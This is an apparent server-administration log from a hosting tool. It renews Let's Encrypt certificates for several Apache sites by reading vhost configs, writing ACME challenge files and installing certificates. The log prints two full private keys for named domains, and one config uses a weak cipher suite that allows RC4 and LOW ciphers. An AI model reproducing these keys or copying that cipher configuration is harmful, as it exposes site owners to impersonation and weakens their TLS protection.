         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:46: 

PUT: /tmp/pkp152599

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:46: 

chmod 755 /tmp/pkp152599; /tmp/pkp152599; rm /tmp/pkp152599

2025-12-28 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-28 06:00:46: 

PUT: /tmp/pkp912068

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:46: 

chmod 755 /tmp/pkp912068; /tmp/pkp912068; rm /tmp/pkp912068

2025-12-28 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	5433
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:47: 

PUT: /tmp/pkp604902

#!/bin/bash
if [ -d "/var/www/carelinksoutreach_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:00:47: 

chmod 755 /tmp/pkp604902; /tmp/pkp604902; rm /tmp/pkp604902

2025-12-28 06:00:47: 


1


2025-12-28 06:00:47: Establishing a connection
2025-12-28 06:00:48: 

PUT: /tmp/pkp707733

#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cat > YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E
cat > oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg


2025-12-28 06:00:48: 

chmod 755 /tmp/pkp707733; /tmp/pkp707733; rm /tmp/pkp707733

2025-12-28 06:00:48: 




2025-12-28 06:00:57: Establishing a connection
2025-12-28 06:00:57: 

PUT: /tmp/pkp208479

#!/bin/bash
mkdir -p "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
cd "/var/www/carelinksoutreach_www/.well-known/acme-challenge/"
rm YlOi6BLNWCnwnam19EHLWODm2bgOQdUDOWymadVq74E
rm oSPgXcO21oTOpZeTVQHMTFQRPYWSWAs_8v0lO0HSNdg


2025-12-28 06:00:57: 

chmod 755 /tmp/pkp208479; /tmp/pkp208479; rm /tmp/pkp208479

2025-12-28 06:00:57: 




2025-12-28 06:00:57: Establishing a connection
2025-12-28 06:00:57: 

PUT: /tmp/pkp510939

#!/bin/bash
temp_file=$(mktemp)
TARGET=b64494a3418593cd7c84316d693a17ce.crt

cat > $temp_file <<'endmsg'
c5:4c:16:c9:a4:15:b1:91:f8:a1:ef:bd:91:cd:6e:b3

-----BEGIN CERTIFICATE-----
MIIFLTCCBBWgAwIBAgISBYRvmeoARayzLXYruwiaXfDiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjI1WhcNMjYwMzI4MDUwMjI0WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAqenx9elU2IM3pshaACnv2kIRZo5QMABC2lrZL5Bydf1IgBR5QUCM
G6uJpzFYrXrVWZhplsXWCWPmFN5uiAPKY0N2ijhfhSUsgFHJd39AUTTEmTirR2oA
XcgnE4jlNMp6M5tbsnoAWzri0xZsB/aWPd4v61ww4ihVZXP9z7rvVwyRV61a+w0v
MTF3NGfb3LO45vvHb2JTkzf0I7Urx91wQJMhgqD7vfncrrzgZvQBRjBwpjYBtJ5o
Z1f0/VaROeRJB1acV4lBl1GH6W1AV9F2QxTnZTZQRkLBqTpQuoSF0EWLnUDtKBpy
XmQ66UEYc/8xJS3nF+/1ppwt3bpRoP9jBQIDAQABo4ICSzCCAkcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBSZJd3uTNeaMHKhHiMBcakl6dxAqDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOTkuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbY4upwQAABAMARzBFAiEA0r0PwrlS
6ZsWraQnIZ+syTXFey9UhT5OwczZltSt+SACIDBsTeUsVZYXogXJpkfh4/G3NX0r
xR1mHmw/1eH+0Vo4AH8Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcA
AAGbY4us/gAIAAAFAC0O3qkEAwBIMEYCIQC4vgxpyIcK5YY7VPmgXhP9F0p1acVm
dJdEsanhgSZKlQIhAPVc0AUy5xBk0TK0Z7rXmJT4I63IBwsy9Tc4BH4v1FqGMA0G
CSqGSIb3DQEBCwUAA4IBAQAdY/6EKsUDd0+9kH5xYdnBFO7ZG99o3/031fB+qrAA
IDH5cXNwbWg0K39E2xCT++2kKJ3eHRVIu/CrwTFDz3BMsrIB8pB3PY9N5lnKFdAD
E0FmRamH5k1Q5npZq0PdyyZNptu8KNd0e1xF7VQCH8yRk62X3kw0KEUqyDtSiXad
PfzAYt2ZHWV66/VPR4IbLjbzz3Gz68/GOIWfvoMCmSThz8PaPTNj8GRW7MnhtV8g
7e3QFHjtoUu4b7OuN+uUSHeWQKj2muaq/HxK5iToUjvKjKi/bgJKJX/S/TvoA9lX
T46uBwIhQB1tLXpp9IBbbv/fAFcOUVpoMa5WrsJKXBj6
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp6fH16VTYgzem
yFoAKe/aQhFmjlAwAELaWtkvkHJ1/UiAFHlBQIwbq4mnMVitetVZmGmWxdYJY+YU
3m6IA8pjQ3aKOF+FJSyAUcl3f0BRNMSZOKtHagBdyCcTiOU0ynozm1uyegBbOuLT
FmwH9pY93i/rXDDiKFVlc/3Puu9XDJFXrVr7DS8xMXc0Z9vcs7jm+8dvYlOTN/Qj
tSvH3XBAkyGCoPu9+dyuvOBm9AFGMHCmNgG0nmhnV/T9VpE55EkHVpxXiUGXUYfp
bUBX0XZDFOdlNlBGQsGpOlC6hIXQRYudQO0oGnJeZDrpQRhz/zElLecX7/WmnC3d
ulGg/2MFAgMBAAECggEAEMB9Qn7GsVypLUsDfztN587WYwNqPyacxg++6e7r2gYm
vQ9Hr89AAQULL+4FjX+sGTFATRp5h7jPA6+1ELk5nZ/BHXosBgyBiVqG6mkkBjLq
+dBEfWijW0ZTKUc4kdkvQyHwtcqheQfNOn0zbsrjn9CQGOb19YDUf97NCfX8Mttj
4F5OJ1rMaQw/9znbjpohaROl7q524FH4kfVfH9GvAOtSbx4tryCo5V+I1Ns18Mbm
DqmBcPc1d36w9Yd6UZhnChuCIkcJeHAe+bZpMXimwQW0AcqvbYcs3luuTYuMsq5x
7kCl48t5cOpMa4pn473wTodduVUr4RmyI8EO6gWU4QKBgQDV1GJ/dQqajkxUFuaF
XSmp1hfQfg6dTjfSvgUXvsB343xUTd1JtINjuTw2G4IkKwTThcURN34ifVrSQQv4
ypWxHdYEB/2hr/vZi2H42jBXDdxiBWS3Xy5QhNhPqeuJtusD38CHyKNllrBKmWjs
F+PycFCvUiThQ9HjdF69+5OCLwKBgQDLbGJ6GO/xJIGtLFSJMah8m6AReahwDsQw
dKqlofZz+0RPsq4Osl0dVEHfQ8h+tGNyAsUJODa74BqYX2dx7yV4AsIk0BSCcmsL
5399RftygLFLtQcdmIdMeOJmjMYCnTDuWwkN0ibBsoeQW55ZpzT4RP1GHSkCz2Sg
8Auzv6glCwKBgQDD+4RHs9uDKvc0f0TLaUb9fdeX5WG5te4ePsFmMRQxDhRvJGq0
2jkulqFkKjROuAsVX97uV8FJFUG/wZSac/tdOa5lRXmmzyhzDHhAYKK7t12Njcnw
89D8RbYI1gGm2Dtw8oyBJ1jzjHiJ9y+ebIslMuIQvqZEvSdLZOZNFJ7vSwKBgB/2
Go7mhiSUQM+trGaV58wUQ5UbUUyx9T9LxVga13cnnncLMu/aNGkcSPFEXCcUPp+2
MbEeJPNl5afVLZKoKXHutQRFsUNBqPII4G4VZcl60OB9Q+3xfiiUwbWtHptgiUSa
BxUl1LMQUt5qlrmtXNQ5OrYedMgdP8lNjfki/s87AoGBAKi7orZEksK6Nk7UJfsz
YaJ0IwauKIZsrYC5RXKLLGCuMmYE7GoG3E9Wo/4sQEFrFc8NVl6tkjKfRcVFehXU
B7OPTR3ec1L2GruxV4NbWValYU9LrKhQldDf1T/uNCQjLkRmDDkz94J0ZwL2Ztht
oQXqEpwO0A8ARydPcgD+CPKR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-28 06:00:57: 

chmod 755 /tmp/pkp510939; /tmp/pkp510939; rm /tmp/pkp510939

2025-12-28 06:00:57: 


dir=/etc/ssl/certs


2025-12-28 06:00:57: 

PUT: /tmp/pkp111247

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
